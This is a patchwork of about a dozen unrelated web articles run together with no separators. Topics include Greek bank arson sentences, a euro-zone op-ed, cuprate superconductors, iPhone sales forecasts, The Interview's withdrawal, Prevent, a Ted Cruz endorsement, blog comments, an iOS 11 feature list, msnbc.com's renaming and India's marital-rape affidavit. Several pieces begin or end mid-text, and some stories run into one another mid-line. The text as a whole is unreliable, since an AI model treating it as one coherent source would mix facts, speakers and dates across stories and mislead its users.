The managing director of the Cyprus-based bank, Constantinos Vasilakopoulos, and the security head of the Stadiou street branch, Emmanouil Velonakis, were sentenced to 10 years in prison for manslaughter and causing bodily harm through negligence.
But the court ruled that the officials would have their terms suspended pending an appeal.
Branch manager Anna Vakalopoulou was given a five-year term while a fourth defendant, the deputy manager, was acquitted.
The court also asked for the case to be re-examined to see if other senior staff were responsible for ''negligent homicide''.
Arson attacks against public and private institutions in Greece have been frequent since the start of the financial crisis.
But street protests in Athens have calmed somewhat, with violent clashes no longer so common, our correspondent says.
Marfin Bank was later rebranded as Cyprus Popular Bank which nearly collapsed during the island's financial crisis in March.The departure of Germany would take pressure off the weaker countries, and the costs of breaking up the euro zone will have to be paid no matter who leaves
David Gannon / AFP / Getty Images German flag flying outside the Reichstag in Berlin.
Most discussion about a potential breakup of the euro zone assumes that Greece and other financially troubled countries would be the ones who ended up abandoning the common euro currency. But there’s a compelling alternative to that conventional wisdom — that the true problems of the euro zone could be best addressed if Germany were the one to leave, accompanied, perhaps, by a few other rich countries.
The argument for the weak countries leaving is that they would be able to escape the austerity policies imposed by Germany. Once they abandon the euro, their new national currencies would quickly depreciate, making their economies more competitive internationally because their exports would be cheaper for foreigners to buy. In the process, of course, the weak countries might have to default on their euro-denominated debt, but that would be the inescapable price of freedom. Presumably, the richer European countries would then try to establish a smaller, more viable common-currency zone.
The trouble with this conventional scenario is that it rests on a couple of big misconceptions — namely that the chief problems of the weak countries are budget deficits and debt, and that if budgets are balanced and debt is managed down, those countries would be able to make interest payments on their bonds and the banks that own those bonds wouldn’t have to suffer big losses.
(MORE: Is Germany’s Euro Crisis Strategy Actually Working?)
In reality, though, the biggest problem of financially troubled European countries is not debt but high labor costs. Easy credit over the past decade allowed those costs to rise rapidly in some countries, which were then less able to export their goods or compete with cheap imports. From 2000 to ’07, higher labor costs reduced competitiveness by 10% to 20% in Italy and Spain. And even with all the austerity policies since 2008, Spain and Italy have been able to improve their competitiveness only by a few percentage points, if at all. Those countries will never be able to compete economically until they get their labor costs down significantly. And it’s very difficult politically to get workers to accept 10%-to-20% wage cuts.
Well, there is one way: financially weak European countries could devalue their currencies, which would bring down labor costs across the board almost invisibly. That’s a lot easier for a population to accept than overt wage cuts industry by industry. Moreover, in the absence of devaluation, countries would spend the next decade chipping away at labor costs in an atmosphere reminiscent of the Great Depression. The only catch is that devaluation is precisely what the euro was designed to prevent.
So why shouldn’t the weaker countries just pack up and leave? Trouble is, although their new currencies would immediately fall in value, the euro would remain strong. And as soon as people anticipated a devaluation, they would withdraw money from local banks and instead deposit it in the banks of countries that were going to keep the euro. Moreover, countries that left the euro zone would still be stuck with debts to foreigners that would be denominated in euros – but they would have to pay back those loans with their own devalued national currencies, which would make the debt burden seem even heavier.
At the very least, the result would be capital flight and higher interest costs. And more likely, countries that leave the euro zone would be unable to make all the payments on their debt and would end up defaulting anyway. That would be incredibly disruptive to the global banking system, and the countries that defaulted would probably be locked out of the credit markets for several years.
(MORE: Europe’s Economic Woes: That Sound You Hear Is the Euro Cracking)
By contrast, if Germany were the one to leave, the euro would be the currency that falls in value, relative to Germany’s new national currency and also to the dollar. The weaker European countries would get to keep the euro but still get the devaluation they need, which would reduce their labor costs far less painfully than through wage cuts. In addition, the value of their outstanding debt would decline along with the value of the euro, and they would be more likely to be able to make payments on that debt and avoid defaulting.
The standard argument against this solution is that as the value of euro-denominated debt falls along with the euro, banks in many countries would have big losses on bonds they own. But losses from falling bond prices are less disruptive than sudden defaults. And the fact is that those losses have really already occurred, they just haven’t been acknowledged. The goal at this point is not so much to prevent losses, but to find a way for banks and other international financial institutions to absorb their losses without triggering sudden bank failures or a global financial crisis. In short, it’s not about the money, it’s about stability. And for once, it may be easier to maintain order without the help of Germany.
MORE: The Jobless GenerationElectrons are not enough: Cuprate superconductors defy convention
Related images
(click to enlarge)
To engineers, it's a tale as old as time: Electrical current is carried through materials by flowing electrons. But physicists at the University of Illinois and the University of Pennsylvania found that for copper-containing superconductors, known as cuprates, electrons are not enough to carry the current. "The story of electrical conduction in metals is told entirely in terms of electrons. The cuprates show that there is something completely new to be understood beyond what electrons are doing," said Philip Phillips, a professor of physics and of chemistry at the U. of I.
In physics, Luttinger's theorem states that the number of electrons in a material is the same as the number of electrons in all of its atoms added together. Electrons are the sub-atomic particles that carry the current in a conductive material. Much-studied conducting materials, such as metals and semiconductors, hold true to the theorem.
Phillips' group works on the theory behind high-temperature superconductors. In superconductors, current flows freely without resistance. Cuprate superconductors have puzzled physicists with their superconducting ability since their discovery in 1987.
The researchers developed a model outlining the breakdown of Luttinger's theorem that is applicable to cuprate superconductors, since the hypotheses that the theorem is built on are violated at certain energies in these materials. The group tested it and indeed found discrepancies between the measured charge and the number of mobile electrons in cuprate superconductors, defying Luttinger.
"This result is telling us that the physics cannot be described by electrons alone," Phillips said. "This means that the cuprates are even weirder than previously thought: Something other than electrons carries the current."
"Theorists have suspected that something like this was true but no one has been able to prove it," Phillips said. "Electrons are charged. Therefore, if an electron does not contribute to the charge count, then there is a lot of explaining to do."
Now the researchers are exploring possible candidates for current-carriers, particularly a novel kind of excitation called unparticles.
Phillips, U. of I. undergraduate student Kiaran Dave (now a graduate student at MIT) and University of Pennsylvania professor Charles Kane published their findings in the journal Physical Review Letters. The National Science Foundation and the Center for Emergent Superconductivity (through a DOE Energy Frontiers Research Center) supported this work.The iPhone 5 hasn't even hit stores yet and it's already blowing the doors off the competition. Apple pre-sold 2 million iPhone 5s in one day, setting a new smartphone record. It goes on sale officially on Friday morning.
Industry analysts widely expect the iPhone 5 to be the bestselling mobile device of all time. Given the way Apple (AAPL) continues winning over consumers around the world, the iPhone 5's global record will probably last exactly one sales cycle, until the iPhone 6 is released.
In the United States, however, there's a reasonable chance that the iPhone 5 will hold the nation's smartphone sales record for much longer -- maybe forever. As the smartphone boom comes to an end and carriers make upgrades more expensive and onerous for their customers, the iPhone's popularity in the U.S. is likely to plateau.
The number of American smartphone subscribers is expected to reach nearly 140 million by the end of 2012, equal to 57% of wireless customers, according to Kevin Smithen, an analyst at Macquarie Securities. The percentage of wireless subscribers with a smartphone is on pace to eclipse the magic 70% threshold next year -- the level at which most telecommunications services, like cable and broadband, have historically begun to slow their rapid rise.
"The smartphone market, and particularly the iPhone market, will slow next year after very strong shipments of the next iPhone through year-end," Smithen predicts.
The U.S. smartphone upgrade rate has already begun to fall, thanks to a combination of factors. Innovation has slowed over the past couple years (the iPhone 5 has another row of apps!) and carriers have begun to make upgrades more expensive and less desirable (hello, "shared data" plans). After the iPhone 4S launch absolutely decimated carriers' profit margins, the networks made their upgrade policies more restrictive by raising activation fees, forcing customers to adopt tiered plans and lengthening the time customers need to stay under contract to become eligible for a new phone.
"These moves should result in fewer total upgrades... than seen in prior launches," said Mike McCormack, analyst at Nomura Securities.
Related story: The iPhone 5 is coming... will there be an iPhone 10?
Yes, the iPhone 5 will sell like crazy. But by the time the iPhone 6 comes around, the U.S. smartphone market will look very different.
The number of iPhone upgrades -- customers moving from one version of Apple's gadget to another -- nearly doubled in 2011 and is expected to double again in 2012 to roughly 20 million, according to Macquarie estimates. But the forecasts for iPhone upgrades after that show a flat line.
Most of Apple's iPhones get sold to brand-new customers. Last year, Apple newbies bought two-thirds of the 30 million iPhones sold in the U.S., Macquarie estimates.
Those numbers will start dropping as the pool of untapped iPhone customers willing to splurge on a new iPhone dries up. The iPhone represented 45% of all smartphone sales last year at the "Big Three" national carriers -- Verizon (VZ), AT&T (T) and Sprint (S). Analysts at Macquarie, Nomura and other Wall Street firms expect that figure to rise significantly this year -- then level off.
"We do not believe that Apple can grow its market share at the Big Three beyond 70%, as we expect several new low-end smartphones from Amazon (AMZN), Huawei, LG, Nokia (NOK), Microsoft (MSFT) and Motorola in the new year as well as a Samsung Galaxy S4 at the high end," said Smithen.
As a result, Macquarie predicts that iPhone sales will top out at 46.3 million next year before falling to 45.5 million in 2014.
Of course, this is Apple we're talking about. The world's biggest tech company has repeatedly proved naysayers wrong. Thanks to Apple's reality distortion field and passionate groupies, the iPhone 6 and its successors could once again set new records in the United States.
"As long as there are Apple fanboys and fangirls, there will always be demand for the iPhone," says Ramon Llamas, analyst at IDC. "There's so much about the iPhone that people love and lust over, and Apple just kind of ropes you in. There's a lot to keep Apple's momentum going."Sony Pictures will pull The Interview from theaters after pressure from hackers who threatened to bomb moviegoers. “In light of the decision by the majority of our exhibitors not to show the film The Interview, we have decided not to move forward with the planned December 25 theatrical release,” the studio said in a statement. “We respect and understand our partners’ decision and, of course, completely share their paramount interest in the safety of employees and theater-goers.” Regal Entertainment, AMC Entertainment, Cinemark, Carmike Cinemas, and Cineplex Entertainment all announced Wednesday that they would not show the film. In addition, Sony also announced it currently has no plans to do a video on demand release for the film. The Daily Beast reported that two officials at the State Department reviewed and approved the film's scene showing the leader of North Korea’s head exploding. Sony may lose $100 million by pulling the movie.“Islamist” Muslim groups and community leaders hinder the fight against terror and are interested only in presenting Muslims “as victims” Britain’s most prominent Muslim lawyer has said.
In an interview with the Times, Nazir Afzal warned that British Muslim organisations are “undermining” attempts to counter terrorism in the UK by spreading misinformation to discredit Prevent, the government’s anti-radicalisation programme.
Section 26 of the Counter-Terrorism and Security Act 201 compels teachers and some healthcare workers “to take due regard to preventing people being drawn into terrorism”, yet Prevent has been repeatedly slammed by Labour MPs and large parts of the left – including major unions – for its “disproportionate” focus on Muslims.
But Afzal, a deradicalisation expert and former chief crown prosecutor who has successfully prosecuted Islamists, credits Prevent with having “stopped at least 150 people from going to Syria”.
Afzal warned that its “phenomenally good work” was being undermined by what he called an “industry” of Muslim groups, some of which have Islamist leanings, pushing “myths” about the programme.
He also took aim at “self-appointed” community leaders whose sole agenda was to present Muslims “as victims and not as those who are potentially becoming radicals,” singling out Britain’s largest Muslim umbrella group — the Islamist dominated Muslim Council of Britain (MCB) as an example.
The 54 year old, who resigned last week as chief executive of the Association of Police and Crime Commissioners, said he was shocked that the agenda at the group’s annual general meeting last year contained “nothing about radicalisation and nothing about the threat of people going to Syria”.
Among groups Afzal accused of lying about Prevent to discredit the counter-radicalisation programme are Islamist support group Cage, which has been described as a “terrorism advocacy group” by veteran journalist Andrew Gilligan, and Prevent Watch, a “community-based initiative” that supports “communities impacted by Prevent”.
Cage’s outreach director Moazzam Begg, a former Guantanamo Bay detainee who signed a confession admitting to having been an al-Qaeda recruiter, likened Islamic extremists to the Suffragettes at a 2015 event opposing the Prevent programme.
“Sadly, there’s an industry which is trying to undermine Prevent. Some of them don’t like anything that’s state-sponsored and some of them are Islamists”, Afzal said.
“Prevent is simply safeguarding. When we’re asking people to identify victims of child sexual abuse by looking for signs, it’s the same thing for radicalisation. Look for the signs. If you’re concerned, share those concerns with somebody and then if they come to fruition we can provide some support. It’s not about criminalising.”He’s the change we’ve been waiting for.
I am proud to endorse Ted Cruz for president.
The strongest Republican presidential candidate since Ronald Reagan, Cruz can, with a Republican Congress, reverse the disastrous policies of the current president. A broom-wielding Cruz would clean up the messes of the Obama years and, one hopes, much more besides. To coin a phrase, Ted can fix it.
I had resolved not to endorse any candidate this cycle—having been disappointed too often in the past—but as the race has unfolded I’ve become increasingly convinced that the Texas senator is the real deal and the only constitutional conservative who can win.
Each of the candidates claims, of course, to be a liberty-loving cherisher of smaller, constitutionally limited government. Each claims to understand our current challenges, fiscal, cultural, and international. Each claims to have the steely resolve to meet those challenges. But only Cruz plausibly lives up to those claims.
Most candidates talk as if they are running against Washington, Cruz is doing so. He alone among the crowded field has earned the hatred of the Washington establishment—a deep and abiding hatred. His fellow senators shun him. No self-respecting lobbyist will be seen with him. The Chamber of Commerce wants his scalp on a pole. He has, in short, excellent taste in enemies.
The Beltway criticism of Cruz is that he has no accomplishments. There are no major laws named after him, he hasn’t crafted a bipartisan compromise, never joined a “gang” of eight or ten or fourteen. Maybe so. But how does a man “get things done” in a town to which he is laying siege and whose residents are pouring boiling oil on his head? And how valuable are bipartisan “accomplishments” these days, anyway?
Cruz can win. He has the skill, the message, the energy, the organization, and the war chest to go all the way. In this era of “base elections,” he is the candidate most likely to energize the conservative base. He is the only candidate who has understood and responded smartly to the Trump tsunami.
What of his rivals? While they all have their virtues, next to him each comes up short. Trump is too vain to be president, Carson too humble. Fiorina is too vague. Bush, Rubio, and Christie are all too big-government. As for Kasich, Huckabee, Santorum, Pataki, Graham, Gilmore, Jindal, Perry, and Walker, it is hard to believe any of them is ever going to be president.
For a time, I had high hopes for Rand Paul, whose views on fiscal, monetary, and Fourth Amendment issues are excellent. The son of Ron Paul is sincerely devoted to smaller, constitutionally limited government. And his foreign policy stances are, for the most part, a lot more realistic and prudent than his detractors will admit. But I reluctantly have to question his judgment in light of his strategic alliance with Mitch McConnell, who personifies the establishment, his jockeying to make sure he can run for President and Senate at the same time, which smacks of mere office-seeking, and his radical proposal to privatize marriage, which suggests he either doesn’t understand marriage or doesn’t understand his audience. Better, I think, to keep him in the Senate.
Cruz and Rubio are superficially similar, but on closer inspection, the differences are, as Trump would say, yuge. Rubio is arguably a moderate, Cruz is unquestionably a conservative. Rubio is pro-amnesty, Cruz is anti. Rubio wants to reinstate NSA’s program of collecting bulk metadata on the private communications of U.S. citizens; Cruz helped end it. Rubio supported U.S. efforts to topple the dictators of Libya, Egypt, and Syria; Cruz opposed those interventions as reckless and not in the national interest. (Subsequent events suggest Cruz was right.) Rubio wants two income-tax brackets, Cruz wants one. Rubio would have a top rate of 35 percent, for income above $75,000; Cruz would have a single rate of 14.5 percent for everyone. Rubio would expand the child tax credit, Cruz would not. Rubio would retain the payroll tax, Cruz would abolish it.
What about the idea that Rubio is the best Republican to take on Hillary Clinton, because he is a young, oratorically gifted Hispanic from a large, critical swing state? (Let’s set aside the bizarre contention that he’s not really Hispanic because he’s Cuban.) If nominating a young, eloquent Cuban American is a game-changer, Rubio has no advantage over Cruz. And yet, to be sure, there is a prima facie case for having a Floridian on the ticket, because of its 27 electoral votes (ten percent of the number needed to win) and its swing status. But in an age of base elections, an analysis that stops at geography is simplistic. There are 50 states; Rubio could win Florida and still lose the election. The critical factor will be relative turnout in all of the key states, which will hinge on partisan energy and enthusiasm in those states. The key question will not be whether a candidate can deliver Florida but whether he can deliver his own base in every critical state. And the surest way to do that is to excite conservatives nationally. Issues must be given at least as much weight as geography.
Can you think of an important issue on which a President Rubio would govern in a meaningfully different way from a President Bush or a President Romney? I cannot. Is there an issue on which Rubio would take the conservative position and hold his ground in the face of a uniformly opposed establishment and press? Does he, for example, have the mettle to stare down the modern equivalent of the 1981 PATCO strike? I have no idea. I know Cruz does.
Rubio has been an active legislator and deserves credit for at least one major accomplishment. A law he wrote last year stopped a bailout for the Obamacare insurers. As a result, the inevitable death spiral of Obamacare is being accelerated. That is impressive and welcome. But does it change my general assessment? No.
Some will argue that the current front-runner, Donald Trump, is in fact the best choice, because he’s basically a larger-than-life Cruz with an even larger war chest and no chance of being bought. I’ll admit there are appealing elements in the character of the Blue-Collar Billionaire. He’s the guy you want negotiating on your behalf. And I happen to think his position on immigration is essentially right.* His unflinching defense of it has placed his opponents in a revealing light. But his policy instincts are not particularly conservative. His message is about “greatness” and “winning,” not about liberty or the Constitution. He is, at bottom, a nationalist. Cruz is a patriot. A nationalist says, “Our country, right or wrong.” A patriot says, “Our country when she’s right, our principles when she’s wrong.” Trump wants to make America great again. Cruz wants to make America great again by making her good again.
None of this is to suggest that Cruz is perfect. I don’t pretend he walks on water. I thought the unsuccessful Obamacare defunding fight two years ago, which he led, should have been framed around the unpopular and unconstitutional individual mandate instead of the abstract noun “Obamacare.” And I don’t care for the idea of judicial retention elections, which he has proposed (though I think he is right to want to end judicial usurpation). Nor do I care for his plan to add a new value-added tax on top of an income tax, no matter how simplified the latter. (We’d be far better off, in my opinion, to abolish all forms of federal income taxation and instead rely exclusively on duties and excises, as we did before 1913.) And his crowd-pleasing bill to permit health insurance sales across state lines is a solution in search of a problem. But those are quibbles. His instincts, logic, and timing have generally been impeccable. And there is something inspiring about his courage, honesty, imagination, and fighting spirit. He is a happy warrior for an unhappy age.
Incidentally, I don’t buy the argument that Cruz is too conservative or too divisive to win a general election. They said that about Reagan too. If anything, Cruz’s anti-Beltway Cartel message may hold some appeal for Democrats, if, as expected, their nominee is the very face of that cartel, the female version of Richard Nixon.
I endorse Ted Cruz because he is the only candidate in the race who is consistently right and consistently fights and can win.
He’s the change we’ve been waiting for.
Dean Clancy, a former White House and congressional aide, writes on U.S. health care, budget, and constitutional issues. Follow him at deanclancy.com or on twitter @deanclancy.
* UPDATE Dec. 8: I do not support Trump’s proposal to prohibit all Muslims from entering the United States.READER COMMENTS ON
"U.S. Postal Service Victimized by GOP Privatization Scheme"
(54 Responses so far...)
COMMENT #1 [Permalink]
... Davey Crocket said on 2/8/2013 @ 12:57 pm PT...
Wow, you scooped this story for sure...and got it right. I will go on record here at the Bradblog that ultra right-wing Davey hates the post office. Davey breeds dogs and trains them to chase postmen (oops...postpersons). It took years to develop this breed...I call them postmenaniens. They are small but they sure can bark...and scare the hell out of the postman (dangit...postperson).
COMMENT #2 [Permalink]
... Davey Crocket said on 2/8/2013 @ 2:38 pm PT...
Brad, I realize you are having a migraine over the us post office thing and I understand that...I really do. Is that why you are silent about Dorner? This guy is in your own backyard. I read his manifesto this morning...it is quite interesting. He listed a boatload of people he loved and respected--almost all of them left-wing (well, his second favorite president behind Obama is GHW Bush) types. He also is PRO GUN CONTROL which is right up your alley. He also hates LaPierre which, again, puts him square in the camp of BradBloggians. I just dont understand it. He is black, loves liberals, hates conservatives, hates Christians, hates the NRA, is PRO GUN CONTROL. THIS IS STORY IS A GODSEND FOR THE BRADBLOG but you are not covering it. I understand though, I really do. Those damn rethuglicans f^king with the us post office...that is the real story of the day. Yup...sure is.
COMMENT #3 [Permalink]
... Diana Dem said on 2/8/2013 @ 3:09 pm PT...
Randi Rhodes was just talking about this as you posted this on FB. "Pre-fund 75 years worth of pensions..." We live in two worlds: Too big to jail/fail and set up to fail. The post office is the latter.
COMMENT #4 [Permalink]
... Brad Friedman said on 2/8/2013 @ 3:17 pm PT...
Davey Crocket @ 2 said: I just dont understand it. He is black, loves liberals, hates conservatives, hates Christians, hates the NRA, is PRO GUN CONTROL. THIS IS STORY IS A GODSEND FOR THE BRADBLOG but you are not covering it. Wow. Seems not only can you not get enough of being wrong, but you feel it necessary to be both wrong and delusional and obnoxious. Well done! Most remarkable, is that you actually seem to be proud of your wrong and delusional and obnoxious positions. Yup, I guess I'd cower behind a pseudonym in that case too!
COMMENT #5 [Permalink]
... FayPax said on 2/9/2013 @ 1:34 am PT...
The hijacking of the post office evidences how far the Republicans will go to privatize everything...which is nothing but a way to convert taxpayer monies to corporations. All I can say is thanks for writing the story.
COMMENT #6 [Permalink]
... Irwin Mainway said on 2/9/2013 @ 7:28 am PT...
NO budget was passed at all in Dec. 2010 and on the Federal government is limping along on extensions. The Postmaster General is claiming the authority to act since Congress has not passed a budget regulating the USPS in years. What would it be worth to private companies to be able to charge $4 to mail a letter across the country, $1 locally and reset wages to $10- $14/hour max with all seniority gone? Enough to buy an office building filled with lobbyists.
COMMENT #7 [Permalink]
... Irwin Mainway said on 2/9/2013 @ 7:49 am PT...
More |
it.
82. New App Store and iTunes Store Icons
83. New Passcode UI
The new passcode UI has buttons without borders and bolder text.
84. Phone App Redesign
Phone app also gets huge titles in all tabs, bolder titles and the keypad looks like the Passcode.
85. New Spotlight UI Design
Now, when you search for an app in Spotlight, it will show up in the Siri Suggestions box, instead of a list. And right, below you’ll get autocomplete like search lists.
86. No Labels in Dock
On both the iPhone and iPad, the Dock no longer has labels for apps and folders.
87. New Video Player UI
The new video player UI has a floating view and is dark. There are clearer buttons for Picture in picture and AirPlay.
87. Podcast App Redesign
Just like the App Store, the Podcasts app also sees an Apple Music style redesign.
88. New Numeric Keypad Design
There’s a new, more button-like rectangular design for the keypad.
89. New App Launch animations
The animations when you launch the app is new.
90. Cellular Signal icon
The dotted icons for the cellular signal has changed back to bars in Status bar.
91. Mail App Design Updates
Mail app also gets the huge headers and spaced out UI.
92. Persistent Status Bar for Location Services
Whenever an app is using location in the background, you’ll see a persistent bar at the top. This is great for spotting when apps like Uber keep using location even after you’ve left the app. But it’s not so great for apps like Moves.
93. 32 Bit Apps No Longer Supported
While you’ll still find them on the App Store, you can no longer install 32-bit apps on iOS 11.
94. No Volume HUD When Playing Videos and Audio
When you’re playing a video or audio, you won’t see a Volume HUD take over the middle of the screen when you go to change the volume. Other times (and when adjusting the ringer), it still does show up.
95. FLAC Support
You can now play FLAC files in iOS 11 using the built-in media player.
96. Automatic Setup
When you buy a new iPhone running iOS 11, you’ll be able to copy over passwords, data and apps easily from your old device. During setup, you’ll see the Automatic Setup section. At that time, just bring your old iPhone closer to the new one to start the transfer.
97. New Purchases Overlay in App Store
When you make a purchase for a new app on App Store, you’ll see an Apple Pay style overlay before you confirm the purchase.
98. Seconds Option in Timer
You can now set Timers in seconds.
99. Social Sharing Features in Apple Music
You can now create a profile in Apple Music, and follow people. Others listening recommendations will show up throughout the app.
100. iPad: Unlock with Apple Pencil
On the Lock Screen, just tap with your Apple Pencil to open your most recently used note in Notes app.
101. iPad: QuickType Keyboard Flick Gesture
On the iPad keyboard, just swipe down any key to type the alternative character.
102. iPad: Inline Drawing
In Notes and Mail app, just start doodling with the Apple Pencil to create a sketch.
103. New Wallpaper
iOS 11 brings a new beach wallpaper.
104. Share Wi-Fi Passwords
When a friend of your comes over, and if they’re running iOS 11, you’ll now be able to log them into your network without them doing anything. When both devices are near, you’ll get an AirPods style popup asking if you’d like them to connect to your network.
105. Family iCloud Sharing
If you have a 200 GB or higher iCloud plan, you can now share it with your Family members.
106. HEVC (H265) Video Support
iOS 11 has officual HEVC support and that’s what Apple will use for recording videos, resulting in a 2x compression in size.
107. AirPlay 2
AirPlay 2 is the update to Apple’s audio stream format. AirPlay 2 now supports multi-room audio.
108. Kannada, Malayalam and Odia keyboards
109. Flashlight for iPads
iPads now get Flashlight controls in Control Center.
110. Spotlight Tab in News App
You can now search through the News app.
111. iCloud File Sharing
You can now share files you have stored in iCloud Drive.
112. WebRTC Support
A big deal for the open, web-based audio and video interface format. Safari now supports WebRTC.
113. Scan QR Codes from Camera
Now, just open the Camera app and point to a QR code. iOS 11 will recognize it and if its a Wi-Fi QR code, it will even offer to connect to the network for you.
114. Dictation Works in Hindi
What could be a boon in India, the Dictation (Speech to text) feature now works in Hindi as well.
115. Move Multiple Apps on iPad
Tap and hold on an app and move it, now tap on other apps and you’ll select them too. Move to another page, release your finger and you’ll be moving multiple apps.
116. HEIF Replaces JPEG
Just like HEVC, HEIF is an open, compressed format for images. Apple will end up saving half the storage space. When you share photos, they’ll go out as JPEG though.
117. AirPlay Button in Music Widget
The Lock screen’s music widget now has an AirPlay button right there.
118. Better Search in Music App
When you search in the Music app, you’ll now get smarter results with links to directly search in artists, playlists and more.
119. Files App Share Extension
There’s a new Save to Files extension that lets you add anything to the Files app using the Share sheet.
120. Locations in Files App
Locations section in Files app has been enabled and you can now add sources like Dropbox.
121. Long Press Option for Screenshot Preview
When you tap and hold the screenshot preview, you’ll now get the familiar Share sheet. So you can now share a screenshot to an app without ever opening the Photos app.
122. Automatically Create Zips When Sharing Folders in Mail app
When you drag a folder from the Files app to the Mail app, it will automatically create a zip from the contents of the folder and attach it to the email.
123. Authentication API for Safari
Safari in iOS 11 has a new authentication API that will make it easier for apps and websites to log users in.
124. Safari View Controller Update
Safari View Controller has been redesigned so that when you 3D Touch a link that’s supported in the Safari format, it will no longer show top and bottom toolbars.
125. New TV Providers
The TV Providers section in Settings adds new providers like Comcast but right now it’s just a list item that doesn’t go anywhere.
126. iMessage in the Cloud Counter
There’s now a counter that shows how many iMessage are yet to be uploaded to iCloud.
127. Control Center Is More Interactive
Now, when you 3D Touch something like the timer or alarm widget, you’ll be directly able to swipe up or down to increase or decrease the time. This wasn’t possible before Beta 3.
128. Icons in Control Center
The list items in Control Center now have icons.
129. Japanese Romaji keyboard
iOS 11 brings English input for Japanese Romaji keyboard
130. New Arabic system font
New Arabic system font has been added.
131. Maps Entrances to Landmarks
Maps entrances to landmarks in China
132. Traffic Camera Alerts
Traffic camera alerts in China
133. NFC Reader mode
iOS 11 Supports ‘Core NFC’ to Detect NFC Tags and Read NDEF Data
134. VoiceOver descriptions for images
iOS 11 provides VoiceOver descriptions for images.
135. Health Data Sync
Health data is now synced across iOS devices via iCloud.
136. Spirit Level
The iOS 11 Camera will display the spirit level in grid view when you try to take a photo of an object from the top.
Stay Tuned!
We won’t rest till we find all of them. So don’t forget to bookmark this page for the complete list of iOS 11 features.
Your Favorite Features
What are your favorite iOS 11 features and changes? Please share them in the comments below.
Like this post? Share it!Andrew Heyward, a former CBS News president and an adviser to media companies on digital strategy, said the renaming idea had merit. “It’s incredibly important in this media cacophony for brands to be consistent, for brands to stand for something,” said Mr. Heyward, who has advised NBC in the past. “And those two brands, each strong in their respective areas, are increasingly standing for different things.”
Corporations change their names from time to time (Andersen Consulting became Accenture, Philip Morris became Altria, Blackwater became Xe) but giving up a Web address as popular as msnbc.com is highly unusual. It is akin to a business closing a bustling storefront and posting a sign that asks customers to visit its new location.
For a Web site, at least, the new location is only a click away. “You can quickly redirect people who might be confused,” Mr. Heyward said. Nonetheless, msnbc.com risks sacrificing years of brand loyalty by coining a new name.
NBC, which is in the process of being sold to Comcast, and Microsoft have been conducting research about potential new names for the last few months. “Consensus in this case is a tall order,” Mr. Tillinghast wrote in one of the memos.
A board meeting that had been scheduled for the end of October to talk about the change was delayed until mid-November.
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One of the new names under consideration is NBCNews.com — something that NBC would seem to favor — but the companies are testing entirely new names, as well, the memos show. The question seems to be: Should they go with a trusted and recognized name like NBCNews.com or try to build a fresh new brand?
In a statement Wednesday, Mr. Tillinghast said, “We have an enviable portfolio of news brands and routinely have strategic conversations about how to maximize them.”
(The Times and msnbc.com have an agreement to share some articles and video.)
The change is being contemplated because MSNBC and msnbc.com are on somewhat divergent paths.
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They were founded together in 1996 by NBC and Microsoft, with the cable television channel based in New Jersey and the Web site based at Microsoft’s headquarters in Redmond, Wash. In 2005, NBC bought Microsoft’s stake in the cable channel, but the two parents remained together for the Web site, which is a crucial provider of content to Microsoft’s MSN.com portal.
Employees at msnbc.com work closely with employees of MSNBC and NBC News. But the Web site has its own reporters, editors, producers, photographers and advertising sales staff. And those employees have at times felt as if they were stuck in the shadow of the cable channel.
In recent years, MSNBC’s shift to the left, with hosts like Keith Olbermann and Rachel Maddow, has further complicated the TV/Web relationship. This week, the channel introduced a splashy ad campaign and a new tagline, “Lean Forward” that reinforces the opinionated nature of the programming.
The cable channel has been looking for a way to distinguish itself online; the channel’s president, Phil Griffin, briefly discussed the acquisition of The Huffington Post earlier this year, but was rebuffed by its co-founders, as first reported by New York magazine this week.
Meanwhile, msnbc.com has remained what Mr. Tillinghast called in Tuesday’s memo an “impartial news product.”
He wrote that the “Lean Forward” announcement “only exacerbates the brand misalignment problem” that he had been trying to solve. He envisions a “brand family,” with the to-be-renamed Web site positioned at the head of the table, joined by two existing spinoff sites, one for NBC’s “Today” show and one devoted to breaking news alerts. But first msnbc.com’s family has to agree on a new name.Stating that what “may appear to be marital rape” to a wife “may not appear so to others”, the central government took a stand against criminalising marital rape, in its affidavit to the Delhi High Court on Monday, on the ground that it “may destabilise the institution of marriage apart from being an easy tool for harassing the husbands”. “As to what constitutes marital rape and what would constitute marital non-rape needs to be defined precisely before a view on its criminalisation is taken,” states the Centre’s affidavit.
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It goes on to cite the “rising misuse of Section 498A of IPC”, commonly known as the dowry law, to demonstrate how laws dealing with violence against women can be misused “for harassing the husbands”.
The central government was responding to a bunch of petitions which wanted marital rape to be legally recognised and made a punitive offence.
VOTE: Do you think marital rape should be criminalised? https://t.co/LL9E40yYQ4 — The Indian Express (@IndianExpress) August 30, 2017
Section 375 of the IPC dealing with rape makes an exception for such instances within marriages and holds that “sexual intercourse by a man with his own wife, the wife not being under 15 years of age, is not rape”. No other statute or law recognises marital rape, and victims only have recourse to civil remedies provided under the Protection of Women from Domestic Violence Act, 2005.
The Centre’s affidavit holds that states should implead in the matter, since criminal law is on the concurrent list and implemented by states — and given the vast diversity in cultures across states. “The fact that other countries, mostly western, have criminalised marital rape does not necessarily mean India should also follow them blindly. This country has its own unique problems due to various factors like literacy, lack of financial empowerment of the majority of females, mindset of the society, vast diversity, poverty, etc., and these should be considered carefully before criminalising marital rape,” it states.
The Justice Verma committee, formed in the wake of the 2012 Delhi gangrape, had recommended removing the exception made for marital rape in the law. Similarly, the report ‘Status of Women in India’, by the high-level Pam Rajput committee of the Ministry of Woman and Child Development, criticised the legislature for its failure to criminalise or even recognise marital rape in the Criminal Laws (Amendment) Act 2013 enacted following the Justice Verma committee report.
The Centre, in its submission to the Delhi High Court, stated that the judgment as to whether a sexual act is a marital rape or not will rest entirely with the wife. “The question is what evidence the courts will rely upon in such circumstances as there can be no lasting evidence in case of sexual acts between a man and his own wife,” it states.
The submission adds that the Law Commission on Review of Rape Laws and the Department-Related Parliamentary Standing Committee on Home Affairs have examined the issue but not recommended the criminalisation of marital rape.
The Centre has instead advocated the need for “moral and social awareness” to stop such an act. Senior Advocate Colin Gonsalves, who is appearing in the case for one of the petitioners (a marital rape victim), pointed out that till date, 51 countries have criminalised marital rape, beginning with Poland in 1932. “By the seventies, much of the developed world had criminalised it. The United States did it between 1970 and 1993, South Africa in 1993, even Nepal criminalised it in 2006,” he said.
He added that the United Kingdom, whose common law was followed by India, made marital rape a criminal offence in 1991. “Other countries such as Canada and Ireland, which follow the common law, have all over the years made the act an offence,” he said.
